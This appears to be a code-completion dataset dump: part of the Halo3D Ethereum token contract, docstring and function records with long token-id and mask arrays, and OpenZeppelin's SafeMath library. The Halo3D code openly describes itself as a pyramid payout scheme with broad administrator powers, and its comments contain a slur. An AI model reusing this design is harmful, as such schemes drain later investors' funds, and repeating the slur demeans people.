uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(address => bool) public administrators;
// when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid)
bool public onlyAmbassadors = true;
// Special Halo3D Platform control from scam game contracts on Halo3D platform
mapping(address => bool) public canAcceptTokens_; // contracts, which can accept Halo3D tokens
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
function Halo3D()
public
{
// add administrators here
administrators[0xf4cFeD6A0f869548F73f05a364B329b86B6Bb157] = true;
// add the ambassadors here.
ambassadors_[0xf4cFeD6A0f869548F73f05a364B329b86B6Bb157] = true;
//ambassador B
ambassadors_[0xe436cbd3892c6dc3d6c8a3580153e6e0fa613cfc] = true;
//ambassador W
ambassadors_[0x922cFfa33A078B4Cc6077923e43447d8467F8B55] = true;
//ambassador B1
ambassadors_[0x8Dd512843c24c382210a9CcC9C98B8b5eEED97e8] = true;
//ambassador J
ambassadors_[0x4ffe17a2a72bc7422cb176bc71c04ee6d87ce329] = true;
//ambassador CG
ambassadors_[0x3747EaFE2Bc9cB5221879758ca24a0d15B47A9B6] = true;
//ambassador BL
ambassadors_[0xB38094D492af4FfffF760707F36869713bFb2250] = true;
//ambassador BU
ambassadors_[0xBa21d01125D6932ce8ABf3625977899Fd2C7fa30] = true;
//ambassador SW
ambassadors_[0x2e6236591bfa37c683ce60d6cfde40396a114ff1] = true;
//ambassador Tr
ambassadors_[0xa683C1b815997a7Fa38f6178c84675FC4c79AC2B] = true;
//ambassador NM
ambassadors_[0x84ECB387395a1be65E133c75Ff9e5FCC6F756DB3] = true;
//ambassador Kh
ambassadors_[0x05f2c11996d73288AbE8a31d8b593a693FF2E5D8] = true;
//ambassador KA
ambassadors_[0x5632CA98e5788edDB2397757Aa82d1Ed6171e5aD] = true;
//ambassador FL
ambassadors_[0xA790fa6422A15a3637885f6811e5428de3513169] = true;
//ambassador Al
ambassadors_[0x008ca4F1bA79D1A265617c6206d7884ee8108a78] = true;
//ambassador KC
ambassadors_[0x7c377B7bCe53a5CEF88458b2cBBe11C3babe16DA] = true;
//ambassador Ph
ambassadors_[0x183feBd8828a9ac6c70C0e27FbF441b93004fC05] = true;
//ambassador CW
ambassadors_[0x29A9c76aD091c015C12081A1B201c3ea56884579] = true;
}
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseInternal(msg.value, _referredBy);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
purchaseInternal(msg.value, 0x0);
}
/**
* Sends charity money to the https://giveth.io/
* Their charity address is here https://etherscan.io/address/0x5ADF43DD006c6C36506e2b2DFA352E60002d22Dc
*/
function payCharity() payable public {
uint256 ethToPay = SafeMath.sub(totalEthCharityCollected, totalEthCharityRecieved);
require(ethToPay > 1);
totalEthCharityRecieved = SafeMath.add(totalEthCharityRecieved, ethToPay);
if(!giveEthCharityAddress.call.value(ethToPay).gas(400000)()) {
totalEthCharityRecieved = SafeMath.sub(totalEthCharityRecieved, ethToPay);
}
}
/**
* Converts all of caller's dividends to tokens.
*/
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/**
* Withdraws all of the callers earnings.
*/
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100);
uint256 _charityPayout = SafeMath.div(SafeMath.mul(_ethereum, charityFee_), 100);
// Take out dividends and then _charityPayout
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _charityPayout);
// Add ethereum to send to charity
totalEthCharityCollected = SafeMath.add(totalEthCharityCollected, _charityPayout);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
/**
* Transfer tokens from the caller to a new holder.
* REMEMBER THIS IS 0% TRANSFER FEE
*/
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// ( we dont want whale premines )
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
/**
* Transfer token to a specified address and forward the data to recipient
* ERC-677 standard
* https://github.com/ethereum/EIPs/issues/677
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transferAndCall(address _to, uint256 _value, bytes _data) external returns (bool) {
require(_to != address(0));
require(canAcceptTokens_[_to] == true); // security check that contract approved by Halo3D platform
require(transfer(_to, _value)); // do a normal token transfer to the contract
if (isContract(_to)) {
AcceptsHalo3D receiver = AcceptsHalo3D(_to);
require(receiver.tokenFallback(msg.sender, _value, _data));
}
return true;
}
/**
* Additional check that the game address we are sending tokens to is a contract
* assemble the given address bytecode. If bytecode exists then the _addr is a contract.
*/
function isContract(address _addr) private constant returns (bool is_contract) {
// retrieve the size of the code on target address, this needs assembly
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
/*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/
/**
* In case the amassador quota is not met, the administrator can manually disable the ambassador phase.
*/
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
/**
* In case one of us dies, we need to replace ourselves.
*/
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
/**
* Precautionary measures in case we need to adjust the masternode rate.
*/
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
/**
* Add or remove game contract, which can accept Halo3D tokens
*/
function setCanAcceptTokens(address _address, bool _value)
onlyAdministrator()
public
{
canAcceptTokens_[_address] = _value;
}
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100);
uint256 _charityPayout = SafeMath.div(SafeMath.mul(_ethereum, charityFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _charityPayout);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100);
uint256 _charityPayout = SafeMath.div(SafeMath.mul(_ethereum, charityFee_), 100);
uint256 _taxedEthereum = SafeMath.add(SafeMath.add(_ethereum, _dividends), _charityPayout);
return _taxedEthereum;
}
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, dividendFee_), 100);
uint256 _charityPayout = SafeMath.div(SafeMath.mul(_ethereumToSpend, charityFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereumToSpend, _dividends), _charityPayout);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100);
uint256 _charityPayout = SafeMath.div(SafeMath.mul(_ethereum, charityFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _charityPayout);
return _taxedEthereum;
}
/**
* Function for the frontend to show ether waiting to be send to charity in contract
*/
function etherToSendCharity()
public
view
returns(uint256) {
return SafeMath.sub(totalEthCharityCollected, totalEthCharityRecieved);
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
// Make sure we will send back excess if user sends more then 5 ether before 100 ETH in contract
function purchaseInternal(uint256 _incomingEthereum, address _referredBy)
notContract()// no contracts allowed
internal
returns(uint256) {
uint256 purchaseEthereum = _incomingEthereum;
uint256 excess;
if(purchaseEthereum > 5 ether) { // check if the transaction is over 5 ether
if (SafeMath.sub(address(this).balance, purchaseEthereum) <= 100 ether) { // if so check the contract is less then 100 ether
purchaseEthereum = 5 ether;
excess = SafeMath.sub(_incomingEthereum, purchaseEthereum);
}
}
purchaseTokens(purchaseEthereum, _referredBy);
if (excess > 0) {
msg.sender.transfer(excess);
}
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _charityPayout = SafeMath.div(SafeMath.mul(_incomingEthereum, charityFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_incomingEthereum, _undividedDividends), _charityPayout);
totalEthCharityCollected = SafeMath.add(totalEthCharityCollected, _charityPayout);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != msg.sender &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[msg.sender] = SafeMath.add(tokenBalanceLedger_[msg.sender], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[msg.sender] += _updatedPayouts;
// fire event
onTokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | * Fallback function to handle ethereum that was send straight to the contract Unfortunately we cannot use a referral address this way./ | function()
payable
public
{
purchaseInternal(msg.value, 0x0);
}
| 7,823,101 | [
1,
12355,
445,
358,
1640,
13750,
822,
379,
716,
1703,
1366,
21251,
358,
326,
6835,
1351,
24233,
732,
2780,
999,
279,
1278,
29084,
1758,
333,
4031,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1435,
203,
3639,
8843,
429,
203,
3639,
1071,
203,
565,
288,
203,
3639,
23701,
3061,
12,
3576,
18,
1132,
16,
374,
92,
20,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/43114/0x227Fc8441eFA68E4309D0D5e9A81BCb300711432/sources/contracts/PolyShibs.sol | 8000 - 1000 0.3 ETH
| return numberOfNfts.mul(_ec); | 4,552,853 | [
1,
26021,
300,
4336,
374,
18,
23,
512,
2455,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5411,
327,
7922,
50,
1222,
87,
18,
16411,
24899,
557,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol
